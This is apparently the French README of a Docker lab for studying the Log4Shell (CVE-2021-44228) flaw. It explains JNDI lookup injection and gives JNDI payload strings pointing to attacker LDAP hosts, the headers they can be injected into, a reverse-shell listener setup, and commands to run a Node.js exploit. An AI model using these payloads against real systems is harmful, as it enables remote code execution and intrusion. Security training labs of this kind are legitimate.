
Lab éducatif basé sur Docker démontrant l'exploitation RCE Log4Shell (CVE-2021-44228) avec une application Java vulnérable, un redirecteur LDAP et un script d'exploitation automatisé.
AVERTISSEMENT
Ce laboratoire a été créé exclusivement à des fins éducatives et de recherche en sécurité. Tout le trafic se déroule au sein d’un réseau Docker isolé. N’utilisez pas ce matériel sur des systèmes réels ou sans autorisation explicite. Une mauvaise utilisation peut constituer un délit. À utiliser avec responsabilité.
Log4Shell est une vulnérabilité critique (CVSS 10.0) découverte en décembre 2021 dans la bibliothèque de logging Apache Log4j 2, largement utilisée dans les applications Java.
Log4j dispose d’une fonctionnalité d’interpolation d’expressions : lors de l’enregistrement d’un message, il évalue les chaînes au format ${...}. Par exemple, ${java:version} est remplacé par la version de Java à l’exécution.
Le problème réside dans le support du protocole JNDI (Java Naming and Directory Interface). Lorsque Log4j rencontre une expression du type :
${jndi:ldap://attaquant.com/exploit}
il ordonne à la JVM d’effectuer une requête LDAP vers le serveur de l’attaquant. Le serveur répond avec une référence à une classe Java distante — et la JVM télécharge et exécute cette classe, ce qui entraîne une exécution de code à distance (RCE).
Le vecteur d’attaque est simple : n’importe quel champ journalisé par le serveur (en-têtes HTTP, champs de formulaire, cookies, etc.) peut être le point d’entrée de la charge utile.
2.0-beta9 à 2.14.12.15.0 (et définitivement dans 2.17.0)Le lab simule une application Java réelle utilisant les versions vulnérables.
| Composant | Version | Pourquoi il est vulnérable |
|---|---|---|
| Apache Log4j | 2.14.1 | Évalue ${jndi:...} sans restrictions |
| JDK | 1.8.0_181 | Antérieur au correctif 8u191 qui définit trustURLCodebase=false |
| Spring Boot | 2.5.6 | Simple framework web ; la vulnérabilité vient de Log4j |
GET http://localhost:8080/log
Les en-têtes suivants sont directement journalisés par Log4j — chacun d’eux peut être le vecteur d’injection :
X-Api-VersionUser-AgentX-Auth-Tokenattacker)| Service | Port | Fonction |
|---|---|---|
| marshalsec (LDAP) | 1389 | Reçoit la recherche JNDI et redirige vers le serveur HTTP |
| Serveur HTTP Python | 8888 | Sert le Exploit.class à la JVM de la victime |
| Listener netcat | 9001 | Reçoit la connexion du shell inverse |
docker-compose up --build
Attendez de voir dans les logs :
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
Dans un autre terminal, exécutez l’exploit Node.js :
node exploit/exploit.js
Sortie attendue :
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
Observez le terminal où docker-compose est en cours. Dans les logs du conteneur attacker, vous verrez la connexion du shell inverse arriver sur le port 9001.
Pour confirmer le touch /tmp/pwned à l’intérieur de l’application vulnérable :
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [cible] [hôte_ldap] [port_ldap] [nom_classe] [en-tête]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
Par Guaxinim | Cyber Security Research